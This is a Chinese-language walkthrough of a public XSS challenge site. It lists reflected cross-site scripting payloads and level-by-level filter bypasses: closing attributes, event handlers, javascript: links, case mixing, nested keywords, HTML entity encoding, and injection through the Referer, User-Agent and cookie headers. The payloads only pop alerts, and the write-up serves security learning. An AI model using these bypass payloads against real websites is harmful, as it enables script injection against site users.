XSS挑战之旅

XSS挑战赛 http://test.xss.tv

Mannix 安全文库
https://mp.weixin.qq.com/s?timestamp=1496844938&src=3&ver=1&signature=9V9EcClg01D4BFYw1oHMMuYrbJ6so3nSGGhP4mfhG4dY9-Tl9jpg-vvNCPhrdkokqNlUl6D2fOQI1p0F0Db3qt80RoiVO6Ac40lCbI4fGNK8zkXp1obYtvexz4G2dXD07pGypwioZFHQKYpmrI5FCxSMxgevZTh*MQ47YXErWqI=

https://xianzhi.aliyun.com/forum/read/1462.html
https://xssing.org/%E9%A6%96%E9%A1%B5

xss cheat sheet
http://brutelogic.com.br/blog/cheat-sheet/

XSS challenges
http://www.atomsec.org/%E6%B8%B8%E6%88%8F/xss-challenges%E9%A2%98%E7%9B%AE%E6%94%BB%E7%95%A5/

fooying 跨站的艺术-XSS入门与介绍
http://www.fooying.com/the-art-of-xss-1-introduction/

综合讨论

总体来说反射型XSS用途已经不那么大了,如果payload在url中很容易被chrome xss auditor拦截。

常见payload

判断核心字符是否被过滤

关键字符

1
2
3
<, > # 构造标签
", ' # 闭合属性
&, #, ; # HTML16编码

绕过的思路

  1. 大小写混淆
  2. 递归构造

辅助挖掘

判断过滤payload

1
2
3
4
5
6
<>"'zxcv # 还可以加上宽字节
script
href
oninput
"'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">location_beacon</p>
' "><img src=x onerror=alert(2) x=

构造标签

1
2
3
test"><script>confirm("XssHere")</script>
test"><script>prompt("XssHere")</script>
test"><script>alert("XssHere")</script>

输入点位于属性内,基于事件

1
2
3
4
' oninput=alert`1` //
' oninput=alert`1` '
' onchange=alert`1` //
' onchange=alert`1` '

输入点位于属性内, 截断属性,构造标签(script标签 或者 a标签)

1
2
3
"> <a href="javascript:%61lert(1)">click me</a> //
"> <a href="javascript:alert('xss')">111</a> //
"> <a href="javascript:alert(/1/)">axxx</a> //

writeup

level 1

反射型xss挖掘
构造特殊输入,在结果HTML源码中搜索,寻找输出点
根据输出点位置附近的代码情况来构造闭合。

过关payload

1
test"><script>alert("XssHere")</script>

level 2

与level 1思路一致。
只是level 1输入点在URL中。
不过其实本质上 level 2 的输入点也是在URL中。
不过level 2 体现了很重要的一点,搜索处容易出现反射型xss。

过关payload

1
test"><script>alert("XssHere")</script>

level 3

输入点(INPUT_POINT)有两处,一处在标签间

1
<h2 align="center">没有找到和INPUT_POINT相关的结果.</h2>

另一处在标签属性处

1
<input name="keyword" value="INPUT_POINT">

对左右尖括号(<,>)被转化成HTML字符实体(HTML Entity)的情况
想直接构造标签是有难度的(宽字符构造尖括号?)所以从另一处入手。
输入点位于属性内,所以闭合属性并构造新属性,基于事件弹窗。
(然而如果输入点对<,>,’,”都进行了字符实体转换呢)
(构造标签的关键是<,>, 闭合属性的关键是引号)

过关payload

1
' oninput=alert`1` //

level 4

和 level 3 输出点一致

过关payload

1
" oninput=alert`1` //

level 5

此处的防御是
on 替换为 o_n
script 替换为 sc_ript
因此不能再考虑用事件出发,也不能用script标签触发。

过关payload

此处的用">截断属性,再用a标签触发
关键在于虽然在h5的内容过滤了,但在属性内未过滤">

1
2
3
"> <a href="javascript:%61lert(1)">click me</a> //
"> <a href="javascript:alert('xss')">111</a> //
"> <a href="javascript:alert(/1/)">axxx</a> //

level 6

此处的防御大概如下
href 转换为 hr_ef
on 替换为 o_n
然而只要切换大小写就可以绕过转换。

过关payload

1
2
3
"> <a Href="javascript:alert(/1/)">axxx</a>
"> <Script>alert('handsome boy')</script> //
"> <img Src=x OnError=alert('xss')> //

level 7

href, on, script等关键字被删除了。

过关payload

1
2
" oonninput=alert(1) "
"> <scscriptript>alert`xss`</scscriptript> //

level 8

属性中双引号被转换成HTML实体,无法截断属性。
由于script关键字被过滤,得考虑绕过方式,使用HTML实体字符绕过
HTML16编码
HTML10编码

1
2
3
4
javascript:alert(/1/)
javascript:%61lert(1)
javasc&#x72;ipt:alert`1`
javasc&#x0072;ipt:alert`1`

level 9

提交参数中必须要有http关键字

过关payload

记得替换script
比如用&#x72;替换r
%0d%0a,/等有时具有替代空格的作用

1
2
javascript:alert(1)//http://www.0aa.me //利用注释
javascript:%0dhttp://www.0aa.me%0dalert(1) //不能用注释的情况下

level 10

keyword参数注入点,左右尖括号均被过滤,几乎没可能。
我觉得这题是考察挖掘URL以外的注入点。
这个思路有点玄学,发掘隐藏的form标签,找到另一个参数t_sort

过关payload

1
&t_sort=" type="text"onmouseover=alert`1` "

level 11

与 10 类似,寻找新的注入点。
原来的t_sort的双引号被过滤了。
这次注入点是在 HTTP Request Header 请求头的 Refer 字段。

过关payload

1
" type="text" onmouseover=alert`1` "

level 12

寻找新的注入点,这次在user-agent。

level 13

寻找新的注入点,这次是利用cookie中的参数注入

level 14

进一步加深一切外来输入都是潜在有害的印象。
EXIF注入,脑洞大开。虽然在实际上一般没什么卵用。

level 15